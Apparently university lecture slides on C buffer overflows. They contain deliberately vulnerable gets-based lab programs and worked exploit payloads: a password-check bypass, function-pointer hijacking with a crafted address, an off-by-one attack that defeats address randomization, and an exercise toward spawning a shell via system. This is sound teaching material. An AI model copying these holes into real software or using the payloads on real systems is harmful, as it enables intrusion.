Buffer Overflow

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Introduction

Buffer overflow is one of the **most common vulnerabilities**

- caused by “**careless**” programming
- known **since 1988** but still present

Introduction

Why still there ...

Can be avoided, in principle, by writing ***secure code***

- non-trivial in "**unsafe**" languages, e.g., C
- **legacy** application/systems might have overflows

⇒ **mitigation** mechanisms are important!

Brief history of some famous overflows

1988 The **Morris Internet Worm** used a buffer overflow exploit in **`fingerd`**

1995 A buffer overflow in **`httpd 1.3`** was discovered and published on the Bugtraq mailing list

1996 "*Smashing the Stack for Fun and Profit*" in Phrack magazine (a step by step **introduction**)

2001 Code Red worm exploited a buffer overflow in **Microsoft IIS 5.0**

2003 Slammer worm exploited a buffer overflow in **Microsoft SQL Server 2000**

2004 Sasser worm exploited an overflow in Microsoft Windows 2000/XP, **Local Security Authority Subsystem Service** (LSASS).

Definition

A buffer **overflow** (**overrun** or **overwrite**), is defined as follows [NISTIR 7298]:

> A condition at an interface under which **more input** can be placed into a buffer or data holding area **than the capacity allocated**, **overwriting** other information.
>
> Attackers **exploit** such a condition to

- **crash** a system
- insert specially crafted **data** that break integrity
- insert specially crafted **code** to gain control of the system

Safe vs. unsafe languages

C is fast but unsafe!

Like Assembly:

👍 **full access** to resources

👍 high **performance**

⇒ used to develop Unix. Still the preferred language for **low-level programming** (OS, device drivers, firmware, ...)

Differently from Java, Python, Haskel, ... has **weak types**

👎 low-level, **unsafe access** to data is possible

👎 programmer's **responsibility** to enforce safe execution in many cases (**overflows** are possible)

👎 many **unsafe library functions**

Example: buffer overflow

```c
#include <string.h>
#include <stdio.h>

char buffer1[8]="one"; // buffer of size 8 initialized with “one”
int  value = 5;
char buffer2[8]="two"; // buffer of size 8 initialized with “two”

int main(int argc, char *argv[]) {
  printf("[BEFORE] buffer1 @ %1$p = %1$s\n",    buffer1);
  printf("[BEFORE] value   @ %1$p = 0x%2$08x\n",&value, value);
  printf("[BEFORE] buffer2 @ %1$p = %1$s\n",    buffer2);

  printf("Please enter your input: ");
  gets(buffer1);   // reads input into buffer1, whatever length!
  printf("\n");

  printf("[AFTER]  buffer1 @ %1$p = %1$s\n",    buffer1);
  printf("[AFTER]  value   @ %1$p = 0x%2$08x\n",&value, value);
  printf("[AFTER]  buffer2 @ %1$p = %1$s\n",    buffer2);
}
```

Two **buffers** of size 8 and an **integer** value in between

Shows addresses and values **before** reading

Reads into `buffer1`

Shows addresses and values **after** reading

Example: buffer overflow

```
$ ./overflow
[BEFORE] buffer1 @ 0x6b90f0 = one
[BEFORE] value   @ 0x6b90f8 = 0x00000005
[BEFORE] buffer2 @ 0x6b9100 = two
Please enter your input: prova

[AFTER]  buffer1 @ 0x6b90f0 = prova
[AFTER]  value   @ 0x6b90f8 = 0x00000005
[AFTER]  buffer2 @ 0x6b9100 = two

$ echo "prova" | ./overflow
[BEFORE] buffer1 @ 0x6b90f0 = one
[BEFORE] value   @ 0x6b90f8 = 0x00000005
[BEFORE] buffer2 @ 0x6b9100 = two
Please enter your input:
[AFTER]  buffer1 @ 0x6b90f0 = prova
[AFTER]  value   @ 0x6b90f8 = 0x00000005
[AFTER]  buffer2 @ 0x6b9100 = two
```

Note: addresses are sequential, every 8 bytes (even if `value` is 4 bytes!)

input from terminal is written into `buffer1`

we can pass input using **echo** end a pipe

Example: buffer overflow

```
$ echo "AAAAAAA" | ./overflow
...
[AFTER]  buffer1 @ 0x6b90f0 = AAAAAAA
[AFTER]  value   @ 0x6b90f8 = 0x00000005
[AFTER]  buffer2 @ 0x6b9100 = two
```

7 A's, fits `buffer1`

7 A's with terminating `0x00`

```
$ echo "AAAAAAAA" | ./overflow
...
[AFTER]  buffer1 @ 0x6b90f0 = AAAAAAAA
[AFTER]  value   @ 0x6b90f8 = 0x0000000000
[AFTER]  buffer2 @ 0x6b9100 = two
```

8 A's, "`\x00`" overflows ...

8 A's in `buffer1`

`value` overwritten with 0x00 (little-endian!)

```
$ echo "AAAAAAAAA" | ./overflow
...
[AFTER]  buffer1 @ 0x6b90f0 = AAAAAAAAA
[AFTER]  value   @ 0x6b90f8 = 0x0000004100
[AFTER]  buffer2 @ 0x6b9100 = two
```

9 A's, "`A\x00`" overflows ...

9 A's in `buffer1`

`value` overwritten with `0x41` ('`A`') (`0x00` is the second byte)

Example: buffer overflow

```
$ echo "AAAAAAAAAAAA" | ./overflow
...
[AFTER]  buffer1 @ 0x6b90f0 = AAAAAAAAAAAA
[AFTER]  value   @ 0x6b90f8 = 0x41414141
[AFTER]  buffer2 @ 0x6b9100 = two
```

12 A's, "AAAA\x00" overflows ...

12 A's in buffer1

value fully overwritten by 0x41

not overwritten (8 bytes from value)

```
$ echo "AAAAAAAAAAAAAAAA" | ./overflow
...
[AFTER]  buffer1 @ 0x6b90f0 = AAAAAAAAAAAAAAAA
[AFTER]  value   @ 0x6b90f8 = 0x41414141
[AFTER]  buffer2 @ 0x6b9100 =
```

16 A's, "AAAAAAAA\x00" overflows ...

16 A's in buffer1

value fully overwritten by 0x41

"\x00" overwrites buffer2

```
$ echo "AAAAAAAAAAAAAAAAA" | ./overflow
...
[AFTER]  buffer1 @ 0x6b90f0 = AAAAAAAAAAAAAAAAA
[AFTER]  value   @ 0x6b90f8 = 0x41414141
[AFTER]  buffer2 @ 0x6b9100 = A
```

17 A's, "AAAAAAAAA\x00" overflows ...

17 A's in buffer1

value fully overwritten by 0x41

"A\x00" overwrites buffer2

Example: buffer overflow

```
$ echo "AAAAAAAAAAAAAAAAAAAAAAAA" | ./overflow
...
[AFTER]  buffer1 @ 0x6b90f0 = AAAAAAAAAAAAAAAAAAAAAAAA
[AFTER]  value   @ 0x6b90f8 = 0x41414141
[AFTER]  buffer2 @ 0x6b9100 = AAAAAAAA
```

24 A's, 16 A's and "\x00" overflows ...

24 A's in buffer1

value fully overwritten by 0x41

8 A's in buffer1

```
$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | ./overflow
...
[AFTER]  buffer1 @ 0x6b90f0 = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[AFTER]  value   @ 0x6b90f8 = 0x41414141
[AFTER]  buffer2 @ 0x6b9100 = AAAAAAAAAAAAAAAAAAAAAAAA
```

40 A's

24 A's

```
$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | ./overflow
...
[AFTER]  buffer1 @ 0x6b90f0 = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[AFTER]  value   @ 0x6b90f8 = 0x41414141
[AFTER]  buffer2 @ 0x6b9100 = AAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
```

41 A's

25 A's

Segfault (we overwrite an address and break the computation)

Unsafe C functions

```
$ gcc overflow.c -o overflow --no-pie --static
overflow.c: In function 'main':
overflow.c:23:3: warning: implicit declaration of function 'gets'; did you mean 'fgets'?
[-Wimplicit-function-declaration]
   gets(buffer1);
   ^~~~
   fgets
/var/tmp/ccdFZ2CG.o: In function `main':
overflow.c:(.text+0x6d): warning: the `gets' function is dangerous and should not be used.
```

Function `gets` is **unsafe** and **should never be used** (cannot limit user input!)

Note: `gets` has been removed from stdio.h, so compiling gives a warning but program works anyway (**legacy** code needs to be supported)

Exercise: bypass password check

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char buffer1[8]="......."; // buffers of size 8 for input
char buffer2[8]="sEgr3t0"; // buffers of size 8 initialized with the password

int main(int argc, char *argv[]) {
      printf("Insert password: ");
      gets(buffer1); // reads the user password, no check on length!
      // compares buffers
      if (strcmp(buffer1, buffer2) == 0) {
            printf("Authenticated!\n");
            exit(EXIT_SUCCESS);
      } else {
            // leaks the password for debugging!
            printf("Wrong password: buffer1(%s), buffer2(%s)\n",buffer1,buffer2);
            exit(EXIT_FAILURE);
      }
}
```

Exercise: bypass password check

```
$ echo "sEgr3t0"  | ./overflow-pwd
Insert password: Authenticated!

$ echo "aaaaaaa"  | ./overflow-pwd
Insert password: Wrong password:
buffer1(aaaaaaa), buffer2(sEgr3t0)
```

Task: authenticate with a string different from `"sEgr3t0"`

Note: when password is wrong both buffers are dumped to help “debugging” the attack

Hint: to send bytes you can use

echo with `-e` option

```
$ echo -e "\x41\x42\x43\x44"
ABCD
```

or

python with `-c` option

```
$ python -c "print '\x41\x42\x43\x44'"
ABCD
```

Solution

It is enough to overflow the buffer with a string that writes the **very same password** on both `buffer1` and `buffer2`

To this aim it is necessary to insert a **`0x00` byte** after the two copies of the password, so that `buffer1` is correctly terminated

Example:

```
$ echo -e "AAAAAAA\x00AAAAAAA"  | ./overflow-pwd
Insert password: Authenticated!
```

Both `buffer1` and `buffer2` contain string `"AAAAAAA"`, correctly terminated

The attack is possible because of the **buffer overflow** on `gets`

Changing the control flow

Effects of overflows

We have seen that overflows can clearly affect the **integrity** of other variables, which affects the program behaviour

Example 1: we have overwritten a stored password

Example 2: we might overwrite an index in order to point to different memory area

Is it possible to direcly modify the program **control flow**?

If we overwrite

- a function pointer
- the program code

⇒ this directly affects the **program control flow** by executing unexpected code

Example

```
typedef struct element {
    char data[16];
    void (*f)(char *);
} element_t;
```

The struct has a buffer `data` and a function pointer `f`

The buffer `data` is allocated **right before** the function pointer `f`

⇒ Overflow **overwrites the pointer**!

A possible usage:

```
element_t e;
e.f = legitimate_function;
...
e.f(e.data);
```

At some point the function is **invoked** on the data (e.g., to display data)

⇒ Overflow enables execution of a different function on any data!

Complete example

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

typedef struct element {
    char data[16];
    void (*f)(char *);
} element_t;

void secret_function() {
    printf("Secret function!\n");
}

void show_data(char *s) {
    printf("Data = %s\n",s);
}

int main(int argc, char *argv[]) {
    element_t e;
    e.f = show_data;  // legitimate function

    printf("Insert data: ");
    gets(e.data); // reads data, unsafe!

    // ... when we need to show data ...
    // invokes e.f on e.data
    e.f(e.data);
}
```

The attack

1. Compile the program **disabling PIE** (we will discuss this next)

   ⇒ Notice the **warning** about `gets`!

2. Find the address of the target function
   Use gdb to find the **address** of **`secret_function`** (notice that this function is never invoked by the program)

3. Craft a suitable input that makes the program **invoke `secret_function`** (when you succeed you will see the output “`Secret function!`”)

Disabling PIE

Position Independent Executable (**PIE**) are programs that can be executed at any memory location

Modern OSs use PIE to **randomize** the position of programs in memory

⇒ The aim is to **mitigate the attack** we are discussing now!

In the program position is randomized function addresses change and it becomes harder to exploit overflow to jump to specific code

We **disable PIE** in order to try the (simple) attack:

```
$ gcc overflow-struct.c -o overflow-struct --no-pie --static
```

Find the address of target function

Once PIE is disabled we can used gdb to find the address of function

```
$ gdb -q overflow-struct
Reading symbols from overflow-struct...(no debugging symbols found)...done.

(gdb) x/x secret_function
0x400b4d <secret_function>:   0xe5894855

(gdb) disass secret_function
Dump of assembler code for function secret_function:
   0x0000000000400b4d <+0>:   push   %rbp
   0x0000000000400b4e <+1>:   mov    %rsp,%rbp
...
(gdb)
```

The address `0x400b4d` can be easily found with x or by disassembling

Attack payload

We want to overwrite the function pointer `f` of the struct:

```
typedef struct element {
    char data[16];
    void (*f)(char *);
} element_t;
```

1. We insert 16 A's to full the data buffer
2. We insert the target address `0x400b4d` in order to overwrite `f`

Note1: the address is **8 bytes** (64 bits) so it is, in fact, `0x000000000400b4d`

Note2: addresses are represented ***little-endian***: `4d 0b 40 00 00 00 00 00`

Attack payload

We first check with 15 and 16 A's to observe the overflow: with 16 A's the **NULL byte** modifies the function pointer and breaks execution!

```
$ echo -e "AAAAAAAAAAAAAAA" | ./overflow-struct
Insert data: Data = AAAAAAAAAAAAAAA

$ echo -e "AAAAAAAAAAAAAAAA" | ./overflow-struct
Illegal instruction
```

We just add the **target address** (little-endian):

```
$ echo -e "AAAAAAAAAAAAAAAA\x4d\x0b\x40\x00\x00\x00\x00\x00" | ./overflow-struct
Insert data: Secret function!
```

Is address randomization the final solution?

PIE and address randomization **prevents** the previous attack

However:

1. Attacks are still possible when we can modify **single address bytes** (see next example)
2. The **leak** of one address might allow for computing any address (offsets are constant!)

Randomizing the position of programs in memory reduces a lot the **attack surface** so it is a very important **security mechanism**

⇒ Never **disable** it!

However, it does not secure any program: overflows, in many cases, **can be still exploited**!

Off-by-one bug

A typical bug is to **overflow by a single byte**, because of erroneous index check

```
printf("Insert data: ");
memset(e.data,0,sizeof(e.data));

for (i=0; i<=sizeof(e.data) && (c=getc(stdin))!= EOF && c != '\n'; i++) {
    e.data[i] = c;
}
```

⇒ It is possible to overflow a single byte (no NULL char in this case)

Let us see how functions are relocated in memory:

```
printf("show_data = %p, secret_function = %p\n",show_data,secret_function);
```

Randomization “preserves” offsets

```
$ echo -e "AAAAAAAAAAAAAAA" | ./overflow-struct-offbyone
Insert data: Data = AAAAAAAAAAAAAAA
show_data = 0x560bfd9287dd, secret_function = 0x560bfd9287ca

$ echo -e "AAAAAAAAAAAAAAA" | ./overflow-struct-offbyone
Insert data: Data = AAAAAAAAAAAAAAA
show_data = 0x56260d01f7dd, secret_function = 0x56260d01f7ca

$ echo -e "AAAAAAAAAAAAAAA" | ./overflow-struct-offbyone
Insert data: Data = AAAAAAAAAAAAAAA
show_data = 0x5646872967dd, secret_function = 0x5646872967ca

$ echo -e "AAAAAAAAAAAAAAA" | ./overflow-struct-offbyone
Insert data: Data = AAAAAAAAAAAAAAA
show_data = 0x55f42b85f7dd, secret_function = 0x55f42b85f7ca
```

⇒ Last 12 bits are fixed! Functions only differ by the **last byte**! …. any idea? 😁

Off-by-one exploitation

It is enough to **overwrite the last byte** with `0xca` (which is the **first in memory** because of *little-endianness*):

```
$ echo -e "AAAAAAAAAAAAAAAA\xca" | ./overflow-struct-offbyone
Insert data: Secret function!
show_data = 0x560975daa7dd, secret_function = 0x560975daa7ca
```

The attack works with **PIE and randomization enabled** because the other bytes are untouched

Basically, we only “shift” the pointer to the target function by modifying only the last byte!

Exercise: arbitrary code execution

1. Add a call to `system` in the code right before function invocation, so that it is linked to the program

```
system("date");
e.f(e.data);
```

2. Compile the program disabling PIE as done before

```
gcc overflow-struct-system.c -o overflow-struct-system --no-pie --static
```

3. Try to make the program invoke `system` with an arbitrary command, e.g., `system("/bin/ls")` (Notice that `e.data` is passed to the function!)

   In principle you should be able to spawn a shell with `system("/bin/sh")`